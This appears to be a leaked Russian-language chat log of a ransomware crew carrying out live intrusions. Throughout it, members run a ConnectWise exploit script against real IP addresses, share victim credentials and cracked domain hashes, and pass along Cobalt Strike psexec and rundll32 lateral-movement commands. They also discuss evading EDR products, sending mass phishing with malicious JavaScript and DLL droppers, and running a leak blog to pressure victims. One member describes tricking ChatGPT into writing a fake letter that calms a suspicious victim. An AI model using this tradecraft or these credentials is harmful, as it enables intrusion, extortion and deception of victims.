proxychains nxc smb ip.txt

да не там конторы написали 2 чела

часть челов долбаебы написали отклик, вроде Ок но контакт не оставили и в профиле нет контакта))

`185.219.221.136:39407 CPAC`

сек

```

угу

по новому короче объяву кинул в другой раздел

я короче изначально кинул в раздел сетей

а надо было в программировании

хули в сетей там алёши одни

ну щас наверно да, но ночь все спят

ну кто то не спит уже пару ответило но пока не то

да эти поиски дохуя времени займет, это потом с каждым диалог составить надо

поймать с ним какую то связь, договорится

итд итп

а потом окажется что чел на деле слабый или какой то бля не такой

и это минус дохуя времени

это как с малышками знаешь новыми встречаться въебать кучу времени, а потом разочароваться

проверяй

платёж

))))

бля ну это уже на опыте знаешь как у нас с сетками

но может же попасться тугая не?

или там всегда все нормально ))

ок

скоро поставлю

`185.219.221.136:34135 CPAC // CPACSYSTEMS FIZ`

+

запускаю

ок, начнём с декрипта тогда?

потом репорт

* Patient zero and date

опа

скинь что-нибудь похожее на правду

мне

+

ага

да попросили

* Access to download all exfiltrated data

блин, ну они конечно расписали по репорту

в моём ответе уже многое сказано

но дат там нет и времени как ты сам понимаешь

да

500 потоков поставил

скоро я еще подготовлю, чтобы по странам были

CW_VALID.txt

вот, есть

скоро только формат сделаю по странам

CW_VALID_US.txt

CW_VALID_CA.txt

ну вот так будет

из fofa могут еще также rdweb выгрузить ?

а то смотрю там их больше

чем у нам тогда выдали

UK там много их

35к

US 86k

+

`CAPL01`

по юсе и канадае 1к потоков уже заверщаются

сброшу их через минут 10

запущу еще все повторно, чтобы перепроверить(из-за соксов просто может где-то не отпработать)

RepUx.exe не дает инжектится

это Карбон

Теперь не дают инжектится Фалкон и Карбон

ну и европу запущу. завтра сброшу

но думаю там уже и так норм нашло

ну меня рубит

так а вы что-ль все сейчас отработаете?

ну

я так-то поставлю, европу, чтобы сделало

завтра сброшу с утра

все равно еще повторно буду перезапускать, чтобы точно упущений не было

из-за соксов

CW_VALID_CA.txt

CW_VALID_US.txt

вот дополненные

хватит же пока?)

PoolParty не отрабатывает, его нужно фиксить

PoolParty мне давал инжектится в svchost под Фалконом

но он не стабилен

спокойной. до завтра

http://151.202.24.117:8040 fmorganjr admin123!

я ночью буду смотреть US че там есть но пока ебусь с карбоном

мы все уцже поделил

* мы все уцже поделили

по 50 ссылок

NN: тебе там нечего смотреть будет

мы из большого листавзяли

> <@usernamegg:matrix.bestflowers247.online> ```

текстовики и этот список - это разное?

`bhartford::CROWN:7fc6cb2025cf1103f7559894fc8bfdee053fbc4ca334cea3:7fc6cb2025cf1103f7559894fc8bfdee053fbc4ca334cea3:1122334455667788`

bhartford::CROWN:7fc6cb2025cf1103f7559894fc8bfdee053fbc4ca334cea3:7fc6cb2025cf1103f7559894fc8bfdee053fbc4ca334cea3:1122334455667788:Welcome4321!

ухахахах

там чел запалил что то не ладное

когда к нему на комп приконнектился

начал паниковать чат открыл

со мной

я быстро chat гпт поднаебал и попросил мне написать фейк письмо

правдоподобное

Upon encountering issues with the domain controller, a thorough examination of the hosts was conducted by a specialized technical professional. The investigation encompassed an in-depth scrutiny of the network infrastructure, focusing on the integrity and functionality of each host within the domain. This encompassed a meticulous review of network configurations, system logs, and performance metrics to identify any anomalies or irregularities that could potentially impede the domain controller's operations. The examination was executed with meticulous attention to detail, employing diagnostic tools and methodologies tailored to the specific nuances of domain controller operations. Through this comprehensive analysis, the technical specialist sought to pinpoint and rectify any underlying issues affecting the stability and performance of the domain controller, thereby ensuring the seamless operation of the network environment.

я ему отправил чел успокоился

ну я написал мини тз что бы я хотел видеть в тексте письма

)))

ору

> <@usernamenn:matrix.bestflowers247.online> Upon encountering issues with the domain controller, a thorough examination of the hosts was conducted by a specialized technical professional. The investigation encompassed an in-depth scrutiny of the network infrastructure, focusing on the integrity and functionality of each host within the domain. This encompassed a meticulous review of network configurations, system logs, and performance metrics to identify any anomalies or irregularities that could potentially impede the domain controller's operations. The examination was executed with meticulous attention to detail, employing diagnostic tools and methodologies tailored to the specific nuances of domain controller operations. Through this comprehensive analysis, the technical specialist sought to pinpoint and rectify any underlying issues affecting the stability and performance of the domain controller, thereby ensuring the seamless operation of the network environment.

соц инженерия))

)))

это мои кореша

этот мудак решил доебаться до меня

X 2024-02-22 в 03.07.27.jpg

X 2024-02-22 в 03.11.59.jpg

он готов съебаться из за компа))

так то мне его комп нужен у него там репукса нет

вроде бы

X 2024-02-22 в 03.13.33.jpg

все он сказал что нет проблем спасибо что объяснил))

сука какой доебистый попался хуйман

да бля я зашел к нему на пк, и кинуло почему то в его сессию, он увидел там что его комп контролируется и начал

> <@usernamegg:matrix.bestflowers247.online> ```

аа

ебать сразу ДЦ

там через скринконнект подключен чел какой то

X 2024-02-22 в 03.27.18.jpg

`$DCC2$10240#topnotch#477de2aecaebf3197f50870a14ba105e`

`$DCC2$10240#backup#3e4add2e9132a4d84e09ffcb1c644576`

$DCC2$10240#backup#3e4add2e9132a4d84e09ffcb1c644576:secure26!

`jkasser:$DCC2$10240#jkasser#1b2e45f235845c7a9658a5760e994ab1`

тут сетка большая с репуксом

нашел PDC

ебаный репукс как позвать

`easadmin:$DCC2$10240#easadmin#9bdf51c5c5a41e8749f7901ef5440ac4`

> <@usernamegg:matrix.bestflowers247.online> это какая братец ?

до сих пор ебусь позвать не могу

https://www.zoominfo.com/c/itasca-capital-ltd/464813316

но это Агрономы или кто стоит вобще на них время тратить или не?

Ok

я длинным позвал

пришло

но на инжекте может отъебнуть

ну бофы работают без проблем

все вроде норм лёд тронулся

ебучий карбон

X 2024-02-22 в 04.41.14.jpg

кто то уже пытался их ебать в 2023

TT: берешь или занят?

88290ef2deab6a7e2f9e4a0eb7bb58ba

у меня ща тоже канада

))

ну почти

кстати ухахахха

kekhash.txt

у меня так бошка болит пиздец

из за шеи походу

я проснулся вчера и я голову не могу держать на шее

трудно и больно сидеть короче

только лежа

опирая голову об что то

вот щас выпил

потому что уже не выносимо

надо к какому то хорошему врачу попасть в шеей

* надо к какому то хорошему врачу попасть с шеей

Ок

я щас двинусь

и возьму те которые ты скинул

я по сути могу сразу дц позвать там дц есть

но тут карбон может плачевно обернуться

вот в такие моменты нужен свой софт

отдельный

не тот который под спам

щас бы изи прокатились по этим ав

))

да вот тут сетка тоже вот канада которую ты одобрил

тут дц есть )

92 дня онлайн у нее

> <@usernameww:matrix.bestflowers247.online> 10file.lockers.zip

такос такос

да да

я не сдержался сори

=)

а)

> <@usernamegg:matrix.bestflowers247.online> ```

X 2024-02-22 в 05.23.41.jpg

ну нормальные конторы все имеют такие ав щас походу

кстати пока локбиты отдыхают

у нас есть большое окно щас выебать эти доступы

потому что у них там рук больше как никак из за адвертов

РАБОТАЕМ

может в логах такое собирать тоже

брутить может можно эту хуйню

ебать

Ок)

я выписал серт короче

`[-] Username or domain is not specified, and identification information was not found in the certificate`

а мне пишет хуйню не понятно в чем дело

типа серт не содержит инфу о домене и юзере

хуйня какая то

ага

пока решаю вроде понял в чем проблема

через DNS гребет все

Хорошо

ну я тут еще долго

давай доброй

Приятного

kekhash2.txt

894e2c8d0a9b3a654958b48040ad4e65

kekhash3.txt

* `e3c1f1fb5d11a3918a9fd6d70d95eb2f:894e2c8d0a9b3a654958b48040ad4e65`

добавил LM

894e2c8d0a9b3a654958b48040ad4e65:H+C4QD1Z39

> <@usernamegg:matrix.bestflowers247.online> ```

Наебашил команду сама определяет текущий домен и выдает количество хостов в домене

`powershell $domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Name; $domainDN = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().GetDirectoryEntry().Properties.distinguishedName.Value; $searcher = New-Object DirectoryServices.DirectorySearcher; $searcher.Filter = "(objectClass=computer)"; $searcher.SearchRoot = "LDAP://$domainDN"; $computers = $searcher.FindAll(); $computersCount = $computers.Count; Write-Host "Total number of computers in domain $domain: $computersCount"`

вот команда

X 2024-02-22 в 09.22.34.jpg

Выдача будет с ошибками, но количество хостов выдаст.

Если вы хотите посмотреть у другого траста сколько компов

вот команда другая

`powershell $domain = "yourdomain.com"; $domainDN = "DC=yourdomain,DC=com"; $searcher = New-Object DirectoryServices.DirectorySearcher; $searcher.Filter = "(objectClass=computer)"; $searcher.SearchRoot = "LDAP://$domainDN"; $computers = $searcher.FindAll(); $computersCount = $computers.Count; Write-Host "Total number of computers: $computersCount"`

привет, сегодня начал X86 делать, уже есть результ

чекер попробую сделать сегодня вечером

сейчас телефон разбил, еду новый покупать

меня возможно не будет в четыре

Apple анонсировала новый безопасный протокол сквозного шифрования для iMessage. Подготовка к миру с квантовыми компьютерами, ломающими шифрование. Используется алгоритм Kyber.

https://security.apple.com/blog/imessage-pq3/

image.png

---

```

64.176.219.106:44743

* 64.176.219.106:44743 CORP.FPDINC.COM

сервер оплачен на 3 дня

---

* ```

* ```

+

> <@usernamegg:matrix.bestflowers247.online> CA https://149.56.225.3:443 fmorganjr admin123!

> <@usernamegg:matrix.bestflowers247.online> https://155.138.149.175:443 fmorganjr admin123!

> <@usernamegg:matrix.bestflowers247.online> CA https://20.220.163.29:10443 fmorganjr admin123! - nikon (надо еще раз пробить экспромтом)

> <@usernamegg:matrix.bestflowers247.online> CA https://70.54.190.142:443 fmorganjr admin123! - БУХГАЛТЕРА (доступт отлетел с утра нужно снова пробить эксплойтом)

> <@usernamegg:matrix.bestflowers247.online> CA https://69.196.88.42:8040 fmorganjr admin123!

cwall.zip

yy: сделаешь BOF remote-exec? Для работы по DNS нам сократит время с 5-6 минут до 20 секунд.

👀

> <@usernamenn:matrix.bestflowers247.online> yy: сделаешь BOF remote-exec? Для работы по DNS нам сократит время с 5-6 минут до 20 секунд.

Хорошо, мне интересно почему fortra не позаботилась о весе

потому что в их софте экзешник вшит

и почему так такой вес ебейший при выполнении команды, если можно сделать все тоже самое через BOF

remote-exec это не jump

заливает свой exe потому что заново, то же самое с командой net <*>

remote-exec ты отправляешь команду на remote сервер для выполнения команды

там команда для управления Service Control Manager

ну если разберешься или хотя бы попытаешься будет супер

Потому что я и все ебали крутить по DNS без BOF

Кто то просто не понимает до конца на сколько BOF нам сократит время

Добреус

Рубеус

Романиус

привет

> <@timber:matrix.bestflowers247.online> еще вопрос Burp Suite Professional можно скардить?

Чел мне отписал вроде норм по опыту и знаешь то что нужно, C# PSH

))

друнгареус

* джнугареус

* джунгареус

я же разъебал ту хуйню

креплюсь

там везде карбон блекус

я смотрю yy решил разобраться в BOF))

yy: еще моментик есть, ты можешь сделать в goc поправку что бы само удаляло пустые колонки где ни одного плюса нет что бы не писало колонку пустую, дохуя времени тратим на форматирование в ручную.

а кого наняли?

у нас повершельщик есть?

давай

))

а все пон, Оке

я не стал их напрягать этой хуйней

что бы тачки показывало, ща напишу тогда

++

😆

бля я бы ща в голос там ржал у вас

отвечаю

ухаххаах

> <@usernamenn:matrix.bestflowers247.online> yy: еще моментик есть, ты можешь сделать в goc поправку что бы само удаляло пустые колонки где ни одного плюса нет что бы не писало колонку пустую, дохуя времени тратим на форматирование в ручную.

ты не перепутал софты?

> <@usernameyy:matrix.bestflowers247.online> мне по брейкеру фигня осталась, я скоро закончу, bof я бы разобрался, мне интересно. Насчет гок я не понял, что за плюсы там?

> <@usernameyy:matrix.bestflowers247.online> ты не перепутал софты?

Ок

надо было тогда сразу это сделать, не подумали

как говорится какое ТЗ, результат ХЗ

что он бодрого поймал?))

ну когда будет вербованных пару челов которые начнут писать софт который я задумал, и переключатся на общую работу

со знаниями ебейшими

`64.176.219.106:42797 XCELBRANDS`

думаю YY и жить на базе начнет

после такого ))

там все вместе

просто дописывается

это те же файлы, только дополненые новыми

в целом, это все что есть на данный момент

но сильно больше не будет

`185.219.221.136:37073 XCELBRANDS`

Создал комнату чтобы писать лишнего в чат

processes.exe

Необходимо протестировать скрытие пустых ячеек

Ок

это processes переделанный?

да

супер

ага

выходные будут или не будут?

если не будут я могу приехать завтра после завтра

ну это будет правильно

ну тут точно будет правильно

в выходные могут что то не пофксить или еще какая хуйня

в ПН будет RIP думаю уже прям пиздец

останется всякая шерсть

`Abby *@192.168.0.75 (WIN-5E07COS9ALR)`

опять реверсер

в 10 кобе

никогда не было и вот опять

processes.exe

Тестирование не необходимо, работает локально. Добавил поддержку и Users, и Processes+Services, проверил, работает

после реального теста отправьте пж в общие чаты (можно переслать сообщение)

и сервисы будет чекать, заебись

ну так определило гео у меня

все системы же могут поразному определить гео по айпишнику

* разные системы же могут поразному определить гео по айпишнику

😀 не я сам пошел)

))

`64.176.219.106:43819 REMET`

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent an image.

это водила наш

который на другой базе остался сторожить кота

+

`8a751109d5409ef824bc36c43fc51a4a`

`f9511300656423e44830532c01520343`

8a751109d5409ef824bc36c43fc51a4a:[anthakth15

> <@usernameww:matrix.bestflowers247.online> sent a file.

1.7z

++

+

js чистый

путти запустился

скоро с exe рабочим проверю

f9511300656423e44830532c01520343:3Xpr3$$123!

+++

))

подписываю js

атачем из прошлю в зипе

вот у меня сейчас спалил что-то деф подписаный js

ща еще проверю в зипе

возможно уже на подписанные деф орать будет

на любые

в целом логично, думаю js на практике подписанные мало кто юзает

ок, давайте без подписи прошлю

ага

тупо нечего слать

+

```

```

что-то и без подписи спалило

ща

попробую без зипа отправить

посмотрю как в атлуке откроется

ANTICIMEX_all_kekhash.txt

у него js одного размера

ща проверю хеши хотябы

ну хеши разные

remote exec должен в итоге быть powershell или psexec?

но размер чет одинаковый

ладно

* remote exec должен в итоге быть powershell или psexec? NN

ща вот тупо его js атачем отправлю

проверю как в атлуке откроект

> <@usernameyy:matrix.bestflowers247.online> remote exec должен в итоге быть powershell или psexec? NN

это понятно, метод какой должен использоваться

$krb5tgs$23$*sqlserveragent$anticimex.local$MSSQLSvc/BEDATWDBP011.anticimex.local:1433@anticimex.local*$6edf99b88bd24def058...53a5ec12d9:Lola555!

https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/post-exploitation_lateral-movement.htm

)))

аа

psexec

image.png

кликаю на атач

и ничего не происходит

не открывается

image.png

в новом атлуке также

ну

они не откроют)

а вы говорите запускай в слепую

> <@username777:matrix.bestflowers247.online> $krb5tgs$23$*sqlserveragent$anticimex.local$MSSQLSvc/BEDATWDBP011.anticimex.local:1433@anticimex.local*$6edf99b88bd24def058...53a5ec12d9:Lola555!

ща еще поменяю mime-type

но врядли поменяется что-то

короч, голый js атачем не вариант слать

могу в зипе

https://specialopssecurity.com/sqlrecon/

ну зип нормально

раньше слал же

`SA: Attempts to access the SQL Server instance with a blank password (no auth required).`

ща проверю

`SCM: Queries the service control manager of the remote machine (user privileges required).`

мне больше не нравится то, что на сетках вы вроде запускаете js, а скачиния не происходит

видимо что-то все же там отрублено

короч, запущу ща зипом

посмотрим

пустил

Привет, да все стучит

> <@usernamenn:matrix.bestflowers247.online> psexec

да

`remote-exec psexec 10.23.192.72 %windir%\\system32\\rundll32.exe C:\Users\Public\Employers.xls,xiaopin`

ну вот мы как щас выполняем запуск DLL

ага понятно то есть может быть и системное приложение

> <@usernamegg:matrix.bestflowers247.online> [21:19:55] mrlapis: 22ylku8yh049yu034hkofw42h4ryj02g940g9vrghw08

+

уже пошло если что

если что могу сделать DLL

привет, отлично, с боф разбираюсь сейчас, чуть передохну от брейкера

приехать надо?

привет! перекачали на прокладку дату для блога

> <@usernamegg:matrix.bestflowers247.online> ты брейкер делай

интересная задача

хотя бы для себя полезно узнать как работает

=======================================================================================

+++

отпишешь

шары принял спасибо

сделайте плиз блог, надо их расшевелить, а то они чтото замедлились

140k ушло

> <@usernamegg:matrix.bestflowers247.online> блог чоень ЖЕСТКИЙ у нас стал

zircodata.com - ты видел то у вас там в пруфах ру доки?)

> <@usernamegg:matrix.bestflowers247.online> сегодня сделаю

watchtowr-vs-ConnectWise_2024-02-21.py

`python3 watchtowr-vs-ConnectWise_2024-02-21.py --username fmorganjr --password admin123! --url http://161.97.87.8:80`

300к ушло

дальше слать? что-то приходит годное?

```

* 360к ушло

стопну пока, 400к+ ушло

* стопну пока, 409к ушло

> <@usernamegg:matrix.bestflowers247.online> sent a file.

😄

ДЭЭЛЭЛЫШТЕ

СЕТКЕШТЕ БЕРЕМШТЕ

палево))))

WHAT.jpeg

> <@usernamezz:matrix.bestflowers247.online> палево))))

в чемжеште

в акценте

+

watchtowr-vs-ConnectWise_2024-02-21.py

`сразуштэ понятножэште откудоштэ же штэ мыштэ`

yy: Можешь сделать чтоб из txt хавало IP

> <@usernamezz:matrix.bestflowers247.online> `сразуштэ понятножэште откудоштэ же штэ мыштэ`

если тут в элемент залезут

тогда это будет финиш

и без ШТЭ

сенсейештэ

Хватит флудить

сюда вставлять? --url?

и типа http://ip/

да

ок

http://71.89.194.65:8040

ща еще 100к прошлю чисто по компаниям и по крупным фильтрам(включая атлуке)

* ща еще 100к прошлю чисто по компаниям и по крупным фильтрам(включая атлуе)

* ща еще 100к прошлю чисто по компаниям и по крупным фильтрам(включая атлук)

щас его переделают чтоб из текстовика хвал и заного пробем

python уже по умолчанию стоит на всех linux вроде как если не ошибаюсь кроме centos

из 9 кобы не удаляйте пожалуйста мой таргет, я там тестирую

это уже база произошла

базаштэ

ну так и ушло 425к

KVSZ2: 3407968 269 \ 0 \ 269 \ 0%

запусков

269

не поня

но я до 500к прошлю и стопну

боюсь этот js быстро спалят

ухахах

yy тоже наверно не понимает что происходит

остальные то все понимают вроде

aga

okey

все, понял

да на закрепе стоит dll от ляписав

да я понял)

занят пока чтобы поржать

+

сделаю

10_x86.bin

+

запустил билд

стопну, и так дофига ушло

все же кажется отстук не оч

kekhash.txt

ну смотрю с дефом нет считай сеток

нужно другое что-то слать

> <@usernamegg:matrix.bestflowers247.online> ```

наверное лучше все же эксели еще попробывать прослать

> <@usernamess:matrix.bestflowers247.online> sent a file.

тестани

обернул основной код в функцию и вызываю ее в цикле, если параметр --url является файлом

если не является, то работает как старая версия

```

```

> <@usernamess:matrix.bestflowers247.online> ```

надо еще тайм аут делать

наверное

чтоб после 10 сек прерывало соедингение

* чтоб после 10 сек прерывало соединение

щас посмотрю

> <@usernamemm:matrix.bestflowers247.online> 10_x86.bin

10_x86.7z

> <@usernamess:matrix.bestflowers247.online> чтоб после 10 сек прерывало соединение

таймаут 10 и обработка ошибок

будет писать target: failed

работает

```

$DCC2$10240#sam.steele#c90d28ca81b2d16b5835ee02a57912d9:Kimura77

`$DCC2$10240#Administrator#640724a2b196be153d4f80915614f25a`

`s1vSjZH!dQ3Dc!tg`

`N|pP~n!+Al^Ades2`

$DCC2$10240#james.wolfe#355c4a315e3f78d737e0d54287f930bb:Kimura7!!

http://205.234.244.111/Wo1TC/{random}

++

готов почти блог по ним, нужен файл. я добавлю все данные

canfieldsci.com

> <@usernamess:matrix.bestflowers247.online> ```

Готово криптом rundll32 dll.dll,sMGPoPmDPQJU

2.7z

```

> <@usernamess:matrix.bestflowers247.online> ```

```

выкатываю обнову на панель, как поднимется скину билд

> <@usernamess:matrix.bestflowers247.online> ```

отойду на 20 мин

> <@usernamenn:matrix.bestflowers247.online> `remote-exec psexec 10.23.192.72 %windir%\\system32\\rundll32.exe C:\Users\Public\Employers.xls,xiaopin`

PASS: 6f954727783f3646897e8eebee62a0bd

+

dropper_GG22_TH_E_f0adda360d2b4ccda11468e026526576_MrXiE7y.zip

ok

$$: мб ты подскажешь? а то у меня генеренка длл кобы не работает

DllRegisterServer DllMain не приходят

ReflectiveLoader тоже

DllMain

хмм

дай тогда любую для 9 кобы рабочую?

Sysmon.log

`rundll32 C:\Users\Public\Sysmon.log,DllCanUnloadNow`

там StartW

точка входа

у дефолтной кобы

NN: Ты что не спишь?)

> <@usernamenn:matrix.bestflowers247.online> там StartW

сработало

разбираюсь с DPAPI и мастерключами

* разбираюсь с DPAPI и мастер ключами

пон

**DPAPI объект (DPAPI blob) - это прозрачная структура данных, содержащая зашифрованные данные приложения. Многие программы и подсистемы Windows хранят пароли, секреты и приватные данные в DPAPI объектах.**

```

> <@usernamenn:matrix.bestflowers247.online> `remote-exec psexec 10.23.192.72 %windir%\\system32\\rundll32.exe C:\Users\Public\Employers.xls,xiaopin`

точно сервисный метод должен быть?

он живет секунд 20 потом умирает тк не получает сервисный ответ

это нужно понять как работает коба

в документации ниче не написано?

как он запускает

может он какую то exe льет для запуска

сервисную которая в свою очередь запускает dll

как дроппер

потому что один раз я помню после remote-exec заорал АВ именно на remote-exec psexec

> <@usernameyy:matrix.bestflowers247.online> https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/post-exploitation_lateral-movement.htm

а не на файл

короче можно успеть инжектнуться из этого процесса

но в днс точно нет

нужен сервис полноценный

пиздец

а как коба то выполняет тогда не понятно

Archive.zip

```

вот так работает и экзешник тоже запустить можно

это 20 секундная?

или как

вот так не будет стопаться:

```

cob9 бикон 10924

можешь потестить

> <@usernamenn:matrix.bestflowers247.online> это 20 секундная?

а сервис потом пропадает или как происходит?

> <@usernamenn:matrix.bestflowers247.online> а сервис потом пропадает или как происходит?

> <@n3auxaxl:matrix.collectionofmanager.space> dropper_GG22_TH_E_f0adda360d2b4ccda11468e026526576_MrXiE7y.zip

drps.7z

> <@usernamemm:matrix.bestflowers247.online> sent a file.

после запуска?

да

отлично

3.7z

потестить нужно будет на сетке

что бы удаленно работало тоже из под кред итд

rbs.txt

+

да пусть js не делает

хватит уже

я думал приват сделает эксель

> <@burito:matrix.bestflowers247.online> sent a file.

> <@n3auxaxl:matrix.collectionofmanager.space> чисто, стучит, все окей

> <@n3auxaxl:matrix.collectionofmanager.space> sent a file.

1.7z

iFzEpGBsXYhCzetZUxLDkGoOOcABgiTlgbAdyOwfhRCamjPCdJ

строка

sek

пару минут, тачку скинул, деф еще раз обновляю

чисто, все сутчит

все окей

Хорошо

`64.176.219.106:41965 HOST`

kekhash.txt

`$DCC2$10240#mtyleradmin#64eee1f8fa3ebc7f4d66b0ab3b6bd94f`

`$DCC2$10240#dlallenadmin#497f1ac1ca917cbf3ab7b1eed1f9e108`

нет

точнее посмотрел. но там же вордпресс

тип можно туда пролить свой шел

апдейт панели, на 1 минуту будет недоступно

ага

вчера отозвали ее еще вроде

вроде как успели

мы с WP наверное линки только можем сделать

yandex money

супер!

Нужен крипт обойти Trendmicro. У кого есть?

А что надо сделать?

86 надо сделать

есть?

cwall2.zip

дополненные

```